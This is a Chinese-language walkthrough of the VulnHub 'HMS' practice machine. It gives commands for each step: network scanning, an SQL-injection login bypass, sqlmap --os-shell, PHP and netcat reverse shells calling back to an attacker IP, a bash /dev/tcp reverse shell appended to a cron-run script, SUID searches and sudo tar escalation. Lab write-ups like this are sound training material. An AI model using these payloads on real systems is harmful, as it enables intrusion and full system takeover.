vulnhub HMS?: 1


netdiscover和nmap开路

1
2
netdiscover -i eth0
nmap -p- -sV -T5 192.168.0.102

1.png

访问7080端口,源代码查看作者信息,去找cms的source code
2.png

read me里有默认账号密码登录信息
3.png

用默认账号密码直接登录
4.png

密码绕过的一种方法,删掉type的mail类型,就不会检查了

1
2
' or 1=1#
' or 1=1 --

5.png

grep找upload,寻找文件上传的点
6.png

msfvenom生成在上传,但反弹过来执行不了命令
7.png

上传
8.png
反弹
9.png

命令执行的方法,反弹

1
http://192.168.0.102:7080/uploadImage/Logo/one.php?cmd=php+-r+%27$sock%3dfsockopen(%22192.168.0.105%22,1234)%3bexec(%22/bin/sh+-i+%3C%263+%3E%263+2%3E%263%22)%3b%27

10.png

另一种sql的方法拿shell
11.png

1
sqlmap -u "http://192.168.0.102:7080/patientreport.php?patientid=1" --cookie='PHPSESSID=3eaaa805aeded111845dfc6ff6db3430' -v3  --os-shell

11-2.png

payload生成网站

编码的话,要对特殊符号也要编码。

encodeurl
12.png

1
2
3
http://192.168.0.102:7080/tmpbycat.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.0.105%201234%20%3E%2Ftmp%2Ff

nc -lvnp 1234

13.png

bash提权,发现是eren用户,查看crontab文件。发现有个脚本隔5分钟会运行一次

1
2
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

14.png

写入反弹shell的代码

1
2
3
echo "bash -i >& /dev/tcp/192.168.0.105/1234 0>&1" >> /home/eren/backup.sh

nc -lnvp 1234

前面那句写错了,又写了句进去
15.png

sudo -l看到tar
打开gtfobins

找到root.txt(final flag)
16.png

其他参考:
1.
https://www.youtube.com/watch?v=MDpBC81i7qg
2.
https://nepcodex.com/2021/08/writeup-of-hms-from-vulnhub-walkthrough/